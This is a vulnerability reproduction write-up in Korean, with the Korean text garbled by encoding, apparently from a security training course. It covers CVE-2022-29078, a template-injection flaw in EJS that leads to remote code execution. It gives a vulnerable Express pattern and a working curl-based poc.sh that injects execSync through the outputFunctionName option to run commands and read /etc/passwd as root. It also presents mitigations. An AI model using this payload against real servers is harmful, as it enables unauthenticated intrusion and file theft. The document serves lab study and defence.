Share
## https://sploitus.com/exploit?id=A01D937F-E894-5806-B655-B80B915E92F0
# CVE-2022-29078 | EJS SSTI β RCE
> νμ΄νΈν μ€μΏ¨ 4κΈ° (32λ°) - μ°μλ² ([@taka3636](https://github.com/taka3636))
### μμ½
EJS `
### EJS μκ°
EJS(Embedded JavaScript templates)λ Node.js μνκ³μμ λ리 μ°μ΄λ ν
νλ¦Ώ μμ§μ΄λ€. `Hello ` μ²λΌ HTML μμ `` νκ·Έλ‘ μλ°μ€ν¬λ¦½νΈλ₯Ό μ½μ
ν΄ λμ νλ©΄μ λ§λ λ€. λ΄λΆμ μΌλ‘ EJSλ ν
νλ¦Ώ λ¬Έμμ΄μ **μλ°μ€ν¬λ¦½νΈ ν¨μλ‘ μ»΄νμΌ**ν λ€ μ€νν΄ μ΅μ’
HTMLμ μμ±νλ€. μ¦ "κΈμ(ν
νλ¦Ώ)λ₯Ό μ€ν μ½λ(ν¨μ)λ‘ λ°κΎΈλ" μ½λ μμ±κΈ°μ΄λ©°, μ΄ μ±μ§μ΄ λ³Έ μ·¨μ½μ μ κ·Όλ³Έ λ°°κ²½μ΄ λλ€.
### CVE-2022-29078 μκ°
EJS `
### νκ²½ ꡬμ±
```
EJS/CVE-2022-29078/
βββ docker-compose.yml # 127.0.0.1 λ°μΈλ©(격리)
βββ Dockerfile # node:18.20.4 (λ²μ κ³ μ )
βββ app/
β βββ server.js # μ·¨μ½ Express μ±
β βββ package.json # ejs 3.1.6 μ ν κ³ μ
β βββ views/page.ejs
βββ poc.sh # PoC μ€ν μ€ν¬λ¦½νΈ
βββ 1.png ~ 8.png # μ€ν¬λ¦°μ·
```
- λ°νμ: Node.js `18.20.4` κ³ μ
- μ·¨μ½ λΌμ΄λΈλ¬λ¦¬: ejs `3.1.6` (κΈ°νΈ μμ΄ μ ν κ³ μ β `^`/`~` μ¬μ© μ ν¨μΉ λ²μ μ΄ μ€μΉλμ΄ μ¬ν λΆκ°)
- μΉ νλ μμν¬: express `4.18.2`
- μΈλΆ 컀μ€ν
μ΄λ―Έμ§ μμ‘΄ μμ΄ `docker compose up -d --build` ν λ²μΌλ‘ μμ±λλ€.


### μ·¨μ½ μ‘°κ±΄
μλ λ μ‘°κ±΄μ΄ **λμμ** μ±λ¦½ν λ κ³΅κ²©μ΄ μ±λ¦½νλ€.
1. **λΌμ΄λΈλ¬λ¦¬ κ²°ν¨**: ejs ` {
res.render('page', req.query); // req.query μ 체λ₯Ό λ λ μ΅μ
μΌλ‘ μ λ¬
});
```
Expressλ `res.render('page', req.query)` μμ μ¬μ©μ μ
λ ₯(`req.query`)μ **λ λ μ΅μ
μΌλ‘ ν΅μ§Έλ‘** EJSμ λκΈ΄λ€. μ΄λ `qs` νμκ° `settings[view options][outputFunctionName]` κ°μ λκ΄νΈ νκΈ°λ₯Ό μ€μ²© κ°μ²΄λ‘ νμ±νκ³ , κ·Έ κ°μ΄ EJS μ»΄νμΌ μ΅μ
`outputFunctionName` μ λ³ν©λλ€. **μ¦ μ¬μ©μκ° μ΅μ
μ리μ μ¬μ μ½λ(ν¨μ)κ° μ΅μ
μ λΆμ΄ EJSλ‘ ν¨κ» λμ΄κ°λ€.** EJSλ μ΄ κ°μ μ»΄νμΌ ν¨μ μμ λ€μμ²λΌ μ½μ
νλ€.
```js
var = __append;
```
μ μκ°μ΄λ©΄ `var myOut = __append;` μ²λΌ 무ν΄νμ§λ§, κ°μ μΈλ―Έμ½λ‘ μΌλ‘ λ¬Έμ₯μ λκ³ μ½λλ₯Ό λ£μΌλ©΄ κ·Έ μ½λκ° μ»΄νμΌλ ν¨μ μ€ν μ κ·Έλλ‘ λμνλ€. μ΄ μ리μ `execSync(...)` λ₯Ό λ£μ΄ **νΉμ νμΌμ μ½κ±°λ μμ€ν
λͺ
λ Ήμ μ€ν**μν¬ μ μλ€.
### μ¬ν μ μ°¨
> μ μ : Docker + Docker Compose μ€μΉ, λΉλ μ μΈν°λ· μ°κ²°.
```sh
# 1) ν΄λ‘ ν ν΄λ μ΄λ
git clone https://github.com//kr-vulhub.git
cd kr-vulhub/EJS/CVE-2022-29078
# 2) λΉλ λ° κΈ°λ
docker compose up -d --build
docker compose ps
# 3) μ μ λμ νμΈ
curl "http://127.0.0.1:3000/page?id=world" # -> Hello world
# 4) PoC μ€ν
bash poc.sh
# 5) μ 리
docker compose down
```

### PoC μ½λ
`poc.sh` β outputFunctionName μ΅μ
μΈμ μ
μΌλ‘ μΈ λͺ
λ Ήμ μλ²μμ μ€νμμΌ κ²°κ³Όλ₯Ό νμνλ€. `[1] id`(μ€ν 주체), `[2] /etc/passwd`(μμ νμΌ μ½κΈ°), `[3] uname`(μ€ν μμΉ).
```bash
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName μ΅μ
μΈμ μ
) -> RCE
set -e
TARGET="http://127.0.0.1:3000"
run() { # $1 = URL μΈμ½λ©λ μ
Έ λͺ
λ Ή (컨ν
μ΄λμμ μ€ν ν κ²°κ³Ό νμ)
curl -g -s -o /dev/null \
"${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
docker compose exec -T vuln-ejs cat /tmp/out
}
echo "[1] μ€ν κΆν νμΈ (id) β root μ¬λΆ"
run "id%20%3E%20/tmp/out"
echo "[2] μμ νμΌ μ½κΈ° β /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] μμ€ν
μ 보 λ
ΈμΆ β uname"
run "uname%20-a%20%3E%20/tmp/out"
```
- `curl -g` : URL λκ΄νΈλ₯Ό globμΌλ‘ ν΄μνμ§ μλλ‘ **νμ** (μμΌλ©΄ `curl: (3) bad range`)
- μΈμ½λ©: 곡백 `%20`, 리λ€μ΄λ νΈ `>` `%3E`
### μ€ν κ²°κ³Ό
`poc.sh` μ€ν κ²°κ³Ό. μ μ μμ²(`id=world`)μ `Hello world` λ§ λ°ννμ§λ§, outputFunctionName μΈμ μ
μΌλ‘ μ£Όμ
ν λͺ
λ Ήμ΄ μλ²μμ μ€νλμ΄ κ·Έ μΆλ ₯μ΄ νμλλ€.

- **[1] `id`** β `uid=0(root) gid=0(root)` : μ£Όμ
λͺ
λ Ήμ΄ **root κΆνμΌλ‘ μ€ν**λ¨.
- **[2] `/etc/passwd`** β μμ€ν
κ³μ νμΌ λ΄μ©μ΄ κ·Έλλ‘ λ°νλ¨ : **μλ²μ μμ νμΌμ μ½μ΄λΌ μ μμ**(κΈ°λ°μ± μΉ¨ν΄).
- **[3] `uname`** β νΈμ€νΈλͺ
μ΄ `326f6f1b04b3`(컨ν
μ΄λ ID)λ‘ VM νΈμ€νΈλͺ
(`ubuntu-QEMU-Virtual-Machine`)κ³Ό λ€λ¦ : λͺ
λ Ήμ΄ **νΈμ€νΈκ° μλ 컨ν
μ΄λ λ΄λΆμμ μ€ν**λμμ μ¦λͺ
. μ¦ root κΆνμ `sudo` λλ¬Έμ΄ μλλΌ μ·¨μ½ μλ² νλ‘μΈμ€(컨ν
μ΄λ node = κΈ°λ³Έ root)μμ λΉλ‘―λ κ²μ΄λ€.
μΈμ¦ μλ μ격 μμ² νλλ‘ root κΆν λͺ
λ Ή μ€ν + μμ νμΌ μ½κΈ°κ° κ°λ₯νλ€ = CVE-2022-29078.
### λμ λ°©μ
**λμ 1 β λΌμ΄λΈλ¬λ¦¬ μ
κ·Έλ μ΄λ (κ·Όλ³Έ λμ)**
`package.json` μ ejs λ₯Ό `3.1.7` μ΄μμΌλ‘ μν₯νλ€. 3.1.7+ λ `outputFunctionName` μ μ κ·μ `/^[a-zA-Z_$][0-9a-zA-Z_$]*$/` λ‘ κ²μ¦ν΄ μΈλ―Έμ½λ‘ λ± λΉμλ³μ λ¬Έμλ₯Ό κ±°λΆνλ―λ‘, λμΌ κ³΅κ²©μ΄ μ½λ μ€ν μ μ μ°¨λ¨λλ€.
```
Error: outputFunctionName is not a valid JS identifier.
```


**λμ 2 β μμ ν μ
λ ₯ μ λ¬ (μ ν리μΌμ΄μ
λ°©μ΄)**
μ·¨μ½ λ²μ (3.1.6)μ΄λΌλ μ¬μ©μ μ
λ ₯μ ν΅μ§Έλ‘ λκΈ°μ§ μκ³ νμν κ°λ§ μ λ¬νλ©΄, `settings[view options]` λ³ν© κ²½λ‘κ° μ¬λΌμ Έ μ΅μ
μ€μΌμ΄ λΆκ°λ₯νλ€. μ μ κΈ°λ₯μ μ μ§λλ€.
```js
// λ³κ²½ μ (μ·¨μ½)
res.render('page', req.query);
// λ³κ²½ ν (μμ )
res.render('page', { id: req.query.id });
```


**κΆμ₯**: λΌμ΄λΈλ¬λ¦¬ μ΅μ ν(κ·Όλ³Έ λμ)μ μ¬μ©μ μ
λ ₯ μ΅μ μ λ¬(μ¬μΈ΅ λ°©μ΄)λ₯Ό **λͺ¨λ** μ μ©νλ€. μΆκ°λ‘ 컨ν
μ΄λλ₯Ό λΉ-root μ¬μ©μλ‘ μ€ννλ©΄ RCE μ νΌν΄ λ²μλ₯Ό μ€μΌ μ μλ€.
### μ°Έκ³
- [NVD - CVE-2022-29078](https://nvd.nist.gov/vuln/detail/CVE-2022-29078)
- [EJS GitHub - mde/ejs](https://github.com/mde/ejs)